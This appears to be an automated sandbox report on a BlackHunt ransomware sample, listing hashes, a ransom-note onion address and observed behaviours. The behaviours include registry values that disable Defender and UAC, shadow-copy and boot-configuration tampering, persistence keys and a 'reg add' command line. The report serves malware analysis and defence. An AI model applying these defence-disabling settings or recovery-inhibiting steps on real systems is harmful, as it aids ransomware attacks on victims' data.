Analysis
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max time kernel
127s -
max time network
140s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:04
Static task
static1
Behavioral task
behavioral1
Sample
3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe
Resource
win10v2004-20231222-en
General
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Target
3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe
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Size
707KB
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MD5
1a202c4a3576bc79e9c5eebb92e31a45
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SHA1
2395f77b73f7d0e7c7b33daa448ea0cc4b9072ea
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SHA256
3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549
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SHA512
f12ca09b7604e86ca62ca33e1c0de3b558202c2421e6ceca2e5b442cfed3f51f8c110545a3ab6bef6a9004b72d1a0338e7a468714b84f688fdbc6d58ebec6449
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza198Hvnh:6uaTmkZJ+naie5OTamgEoKxLWYPh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2516 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2988 bcdedit.exe 1984 bcdedit.exe -
Renames multiple (2344) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1348 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\X: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\B: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\R: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\J: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\Z: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\U: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\P: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\Q: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\L: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\O: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\H: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\V: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\N: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\T: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\I: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\M: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\A: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\G: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\E: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\Y: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened (read-only) \??\S: 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Ushuaia 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nome 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-heapdump.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Maldives 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-execution.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Hobart 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Minsk 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME.txt 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.txt 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sendopts.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jre7\bin\server\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-heapdump.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\MSBuild\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Denver 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Merida 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-print.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-ui.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jre7\lib\deploy\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Rio_Gallegos 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Halifax 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#BlackHunt_ReadMe.txt 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_ja_4.4.0.v20140623020002.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ust-Nera 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.properties 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\plugin.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-2 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground_PAL.wmv 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.txt 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kamchatka 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nassau 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Kentucky\Louisville 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\audiodepthconverter.ax 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-attach.xml 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2280 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2028 vssadmin.exe 2980 vssadmin.exe 2104 vssadmin.exe 624 vssadmin.exe 1388 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeRestorePrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeBackupPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeTakeOwnershipPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeAuditPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeSecurityPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeIncBasePriorityPrivilege 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Token: SeBackupPrivilege 2412 vssvc.exe Token: SeRestorePrivilege 2412 vssvc.exe Token: SeAuditPrivilege 2412 vssvc.exe Token: SeBackupPrivilege 672 wbengine.exe Token: SeRestorePrivilege 672 wbengine.exe Token: SeSecurityPrivilege 672 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2876 wrote to memory of 3004 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 30 PID 2876 wrote to memory of 3004 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 30 PID 2876 wrote to memory of 3004 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 30 PID 2876 wrote to memory of 3004 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 30 PID 2876 wrote to memory of 2652 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 31 PID 2876 wrote to memory of 2652 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 31 PID 2876 wrote to memory of 2652 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 31 PID 2876 wrote to memory of 2652 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 31 PID 2876 wrote to memory of 1908 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 32 PID 2876 wrote to memory of 1908 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 32 PID 2876 wrote to memory of 1908 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 32 PID 2876 wrote to memory of 1908 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 32 PID 2876 wrote to memory of 2872 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 37 PID 2876 wrote to memory of 2872 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 37 PID 2876 wrote to memory of 2872 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 37 PID 2876 wrote to memory of 2872 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 37 PID 2876 wrote to memory of 2900 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 33 PID 2876 wrote to memory of 2900 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 33 PID 2876 wrote to memory of 2900 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 33 PID 2876 wrote to memory of 2900 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 33 PID 2876 wrote to memory of 2648 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 39 PID 2876 wrote to memory of 2648 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 39 PID 2876 wrote to memory of 2648 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 39 PID 2876 wrote to memory of 2648 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 39 PID 2876 wrote to memory of 1616 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 40 PID 2876 wrote to memory of 1616 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 40 PID 2876 wrote to memory of 1616 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 40 PID 2876 wrote to memory of 1616 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 40 PID 2876 wrote to memory of 2540 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 42 PID 2876 wrote to memory of 2540 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 42 PID 2876 wrote to memory of 2540 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 42 PID 2876 wrote to memory of 2540 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 42 PID 2876 wrote to memory of 2556 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 44 PID 2876 wrote to memory of 2556 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 44 PID 2876 wrote to memory of 2556 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 44 PID 2876 wrote to memory of 2556 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 44 PID 2876 wrote to memory of 2612 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 46 PID 2876 wrote to memory of 2612 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 46 PID 2876 wrote to memory of 2612 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 46 PID 2876 wrote to memory of 2612 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 46 PID 2876 wrote to memory of 1160 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 47 PID 2876 wrote to memory of 1160 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 47 PID 2876 wrote to memory of 1160 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 47 PID 2876 wrote to memory of 1160 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 47 PID 2876 wrote to memory of 1424 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 48 PID 2876 wrote to memory of 1424 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 48 PID 2876 wrote to memory of 1424 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 48 PID 2876 wrote to memory of 1424 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 48 PID 2876 wrote to memory of 1904 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 51 PID 2876 wrote to memory of 1904 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 51 PID 2876 wrote to memory of 1904 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 51 PID 2876 wrote to memory of 1904 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 51 PID 2876 wrote to memory of 1984 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 148 PID 2876 wrote to memory of 1984 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 148 PID 2876 wrote to memory of 1984 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 148 PID 2876 wrote to memory of 1984 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 148 PID 2876 wrote to memory of 1964 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 54 PID 2876 wrote to memory of 1964 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 54 PID 2876 wrote to memory of 1964 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 54 PID 2876 wrote to memory of 1964 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 54 PID 2876 wrote to memory of 1516 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 56 PID 2876 wrote to memory of 1516 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 56 PID 2876 wrote to memory of 1516 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 56 PID 2876 wrote to memory of 1516 2876 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe"C:\Users\Admin\AppData\Local\Temp\3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2876 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:3004
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1920
